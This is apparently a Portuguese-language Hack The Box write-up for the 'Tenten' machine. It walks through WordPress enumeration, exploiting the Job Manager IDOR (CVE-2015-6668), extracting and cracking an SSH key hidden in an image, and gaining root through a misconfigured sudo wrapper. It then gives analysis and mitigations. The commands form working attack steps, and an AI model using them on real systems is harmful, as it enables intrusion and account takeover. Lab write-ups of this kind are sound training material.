Tenten - HTB Medium Machine - Português Brasil
Sobre
Tenten é uma máquina de dificuldade média que exige um raciocínio inovador/estilo CTF para ser concluída. Ela demonstra a gravidade do uso de plugins obsoletos do Wordpress, que é um grande vetor de ataque na vida real.
Exploração
Enumeração
Um scan com nmap usando o fastmap não trouxe informações além das portas conhecidas. Como a porta 80 está aberta, verifiquei o site para buscar algo interessante.
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp filtered http
O site redireciona para a URL tenten.htb, então adicionei a entrada no hosts:
echo "10.10.10.10 tenten.htb" | sudo tee -a /etc/hosts
É um website em wordpress, essa interface é um tema padrão existente.
Ao ver um site WordPress, a primeira ferramenta que uso é o wpscan para enumeração e detecção de possíveis vulnerabilidades. Para obter vulnerabilidades detalhadas é necessário fornecer a API key do WPScan.
wpscan --url http://tenten.htb -e ap,t,tt,u --api-token $WPSCANKEY
Tip
Se ficar com dúvida de como este processo funciona na prática e seu passo a passo, peço que leia essa seção do cookbook.
O output é extenso e inclui muitas possíveis vulnerabilidades, muitas exigem autenticação, filtrei alguns resultados. Abaixo estão trechos relevantes que filtrei:
┌── ➤ tenten
└─ $ wpscan --url http://tenten.htb -e ap,t,tt,u --api-token $WPSCANKEY
You can add reline to your Gemfile or gemspec to silence this warning.
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://tenten.htb/ [10.10.10.10]
[+] Started: Mon Sep 22 16:10:51 2025
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
| ....SNIP...
Também foram identificadas possíveis vulnerabilidades de SQL injection, mas o site não parece oferecer pontos de entrada fáceis para explorá-las de imediato, vou analisar melhor ela depois.
| [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query
| Fixed in: 4.7.22
| References:
| - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
| - https://hackerone.com/reports/1378209
|
| [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query
| Fixed in: 4.7.22
| References:
| - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86
|
....SNIP....
Uma das descobertas interessantes foi o plugin job-manager. Essa vulnerabilidade pode ser interessante, visto que pode haver informações sensíveis em algum diretório sem a exigência de autenticação.
[+] job-manager
| Location: http://tenten.htb/wp-content/plugins/job-manager/
| Latest Version: 0.7.25 (up to date)
| Last Updated: 2015-08-25T22:44:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 2 vulnerabilities identified:
|
| [!] Title: Job Manager <= 0.7.25 - Insecure Direct Object Reference (IDOR)
| References:
| - https://wpscan.com/vulnerability/9fd14f37-8c45-46f9-bcb6-8613d754dd1c
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6668
| - https://vagmour.eu/cve-2015-6668-cv-filename-disclosure-on-job-manager-wordpress-plugin/
|
...SNIP...
O scan também identificou o nome de usuário takis:
[i] User(s) Identified:
[+] takis
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://tenten.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
A falha no plugin Job Manager corresponde à CVE-2015-6668. Trata‑se de um IDOR (Insecure Direct Object Reference) que permite ler arquivos sem autorização, pois os nomes no diretório de uploads são previsíveis. Um atacante pode, portanto, adivinhar nomes de arquivos por força bruta no diretório padrão do WordPress.
Esta vulnerabilidade está relacionada a CWE‑287, descrita como "exposição de recursos ou funcionalidades a agentes não intencionais, podendo vazar informações confidenciais ou permitir execução indevida".

No site há um link chamado Jobs Listing, que não parece vir com o tema padrão.
Essa página lista vagas; ao clicar em Apply Now chegamos à página de detalhes de cada vaga.
Na página de descrição do job, a URL com um número (por exemplo /8/) sugere que é possível enumerar entradas alterando esse identificador.
Testando /1/ retornou o título "Job Application: Hello world!", o mesmo título da home, o que indica que a página possivelmente retorna qualquer arquivo com base no número.
Com um teste simples via curl extraí o título da aplicação correspondente:
┌── ➤ tenten
└─ $ curl -s http://tenten.htb/index.php/jobs/apply/8/ | grep 'entry-title' | cut -d'>' -f2 | cut -d'<' -f1
Job Application: Pen Tester
Usando um loop for é possível enumerar várias entradas. Encontrei uma chamada HackerAccessGranted, que parece interessante e não faz parte dos conteúdos padrão.
┌── ➤ tenten
└─ $ for i in $(seq 1 25); do echo -n "$i: "; curl -s http://tenten.htb/index.php/jobs/apply/$i/ | grep 'entry-title'
| cut -d'>' -f2 | cut -d'<' -f1; done
1: Job Application: Hello world!
2: Job Application: Sample Page
3: Job Application: Auto Draft
4: Job Application
5: Job Application: Jobs Listing
6: Job Application: Job Application
7: Job Application: Register
8: Job Application: Pen Tester
9: Job Application:
10: Job Application: Application
11: Job Application: cube
12: Job Application: Application
13: Job Application: HackerAccessGranted
14: Job Application
15: Job Application
16: Job Application
17: Job Application
18: Job Application
19: Job Application
20: Job Application
21: Job Application
22: Job Application
23: Job Application
24: Job Application
25: Job Application
Voltando à CVE‑2015‑6668, há um script que faz brute force no diretório de uploads do WordPress e parece ter sido criado somente para essa machine. Eu criei uma versão em Rust mais completa, tanto para explorar melhor a CVE quanto para praticar Rust.
Você pode clonar o meu repositório e seguir as instruções de uso. Executando o script obtive a URL de uma imagem já identificada anteriormente:
┌── ➤ cve-2015-6668
└─ [master*]$ cargo run -- -u http://tenten.htb -f HackerAccessGranted
===============================================================================
|Job Manager <= 0.7.25 - Insecure Direct Object Reference IDOR (CVE-2015-6668)|
===============================================================================
[+] URL of CV found! http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg
Essa url leva a essa imagem. No primeiro momento ela não quer dizer muita coisa, mas já que temos só isso, vamos ver o que da pra tirar de vantagem dessa imagem.
Ponto de Entrada
Com o steghide extraí um arquivo id_rsa embutido na imagem (sem passphrase):
└─ $ steghide extract -sf HackerAccessGranted.jpg
Enter passphrase:
wrote extracted data to "id_rsa".
Usei o ssh2john para converter a chave e depois o john com a lista rockyou; o password encontrado foi superpassword:
└─ $ ssh2john id_rsa > id_rsa.john
usando a lista rockyou para conseguir quebrar o password e retornou o password superpassword
└─ $ john id_rsa.john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
Press 'q' or Ctrl-C to abort, almost any other key for status
superpassword (id_rsa)
Session completed
Com o nome do usuário takis e a senha superpassword, e sabendo que a porta SSH (22) está acessível, tentei a conexão.
Antes disso, ajustei as permissões da chave:
┌── ➤ tenten
└─ $ chmod 600 id_rsa
Então logando com o ssh e fazendo alguns tweaks, pois o ssh da maquina é bem antiga comparado a do meu host. Utilizando o passphrase superpassword consegui o shell
┌── ➤ tenten
└─ $ ssh -i id_rsa -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa takis@tenten.htb
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
65 packages can be updated.
39 updates are security updates.
Last login: Fri May 5 23:05:36 2017
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
takis@tenten:~$
USER
Com o usuário takis consegui ler a flag do usuário:
takis@tenten:~$ cat user.txt
28da5ca5efa71b.....
Escalação de Privilégios
Ao executar sudo -l verifiquei que takis pode rodar um binário especificado sem senha:
takis@tenten:~$ sudo -l
Matching Defaults entries for takis on tenten:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:
/bin\:/snap/bin
User takis may run the following commands on tenten:
(ALL : ALL) ALL
(ALL) NOPASSWD: /bin/fuckin
O binário /bin/fuckin é apenas um wrapper que executa seu primeiro argumento como comando, o que permite elevar privilégios:
takis@tenten:~$ cat /bin/fuckin
#!/bin/bash
$1 $2 $3 $4
Basta executar um shell com sudo através desse wrapper para obter root:
takis@tenten:~$ sudo fuckin bash
root@tenten:~# id
uid=0(root) gid=0(root) groups=0(root)
ROOT
Como root, acessei o diretório /root e li a segunda flag:
root@tenten:/root# cat root.txt
9cb5b836b163d.....
Análise de Vulnerabilidades
- IDOR no plugin Job Manager (CVE-2015-6668): o plugin expõe arquivos do diretório de uploads através de identificadores previsíveis, permitindo enumeração por força bruta (ex.:
/index.php/jobs/apply/<id>/e brute force em/wp-content/uploads/...). No writeup isso levou à descoberta de um arquivo sensível (HackerAccessGranted.jpg), impacto direto na confidencialidade dos dados hospedados. - Chave privada embutida e fraca proteção por senha: uma chave
id_rsafoi extraída de uma imagem comsteghidee sua passphrase foi quebrada comjohn+ rockyou, permitindo acesso SSH com a contatakis. Isso demonstra exposição de segredos e uso de passphrases fracas, com impacto de comprometimento de conta e possível escalonamento. - Sudoers mal configurado / wrapper inseguro: o usuário
takispôde executar/bin/fuckinsem senha; o binário apenas executa seu primeiro argumento ($1), o que permite executar um shell como root. Resultado: escalonamento completo de privilégio (controle total do sistema). - Enumeração de usuários e exposição de informações do servidor: o WP REST API e padrões do WordPress revelaram o nome de usuário
takise os headers indicam versão/servidor (Apache), facilitando ataques direcionados como brute force ou phishing. Isso reduz a dificuldade de ataques de autenticação. - Possíveis vulnerabilidades de SQL injection detectadas pelo WPScan: o scanner identificou assinaturas de CVEs relacionadas a WP_Query e WP_Meta_Query. Embora não tenham sido exploradas neste writeup, representam risco sério de divulgação e modificação de dados se o site efetivamente executar entradas não tratadas.
Mitigação de Vulnerabilidades
- IDOR no plugin Job Manager (CVE-2015-6668): remova ou atualize o plugin imediatamente para uma versão corrigida; se não for possível, desative o endpoint público de downloads/visualização ou aplique autenticação/checagem de autorização servidor‑side. Developers: valide sempre o controle de acesso por objeto (não confie em identificadores previsíveis) e use nomes de arquivo não previsíveis (UUIDs) ao salvar uploads.
- Chave privada embutida / passphrase fraca: trate chaves como segredos, nunca as coloque em arquivos públicos nem embedadas em imagens. Sysadmin: revogue e gere novas chaves quando houver suspeita de exposição; force políticas de passphrase fortes e considere autenticação multifator. Implemente varreduras DLP/monitoramento para detectar uploads contendo chaves privadas.
- Sudoers / wrapper inseguro: remova a entrada NOPASSWD para
/bin/fuckinou substitua por uma regra que limite argumentos e comandos explícitos. Sysadmin: aplique o princípio do menor privilégio nosudoers, evite wrappers que executem entradas arbitrárias e audite regras sudo regularmente; se necessário, substitua por scripts validados com paths e checks rígidos. - Enumeração de usuários e exposição de headers: para o sysadmin, desative ou limite o WP REST API exposure (bloquear endpoints públicos de usuários), implemente rate limiting e bloqueio temporário de IPs após tentativas falhas. Omitir ou minimizar banners do servidor (ServerTokens/ServerSignature) reduz fingerprinting.
- SQL injection (potencial): corrija o WordPress/core/plugins para as versões com patch imediatamente. Developers: use as APIs oficiais do WordPress e prepared statements para qualquer query personalizada; adote WAFs/filtragem para proteger inputs e inclua testes de segurança (SAST/DAST) no ciclo de desenvolvimento.
Notas
Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.
Referências
the master 0xdf
wpscan
Job Manager <= 0.7.25 - Insecure Direct Object Reference (IDOR)
CWE-287
CVE-2015-6668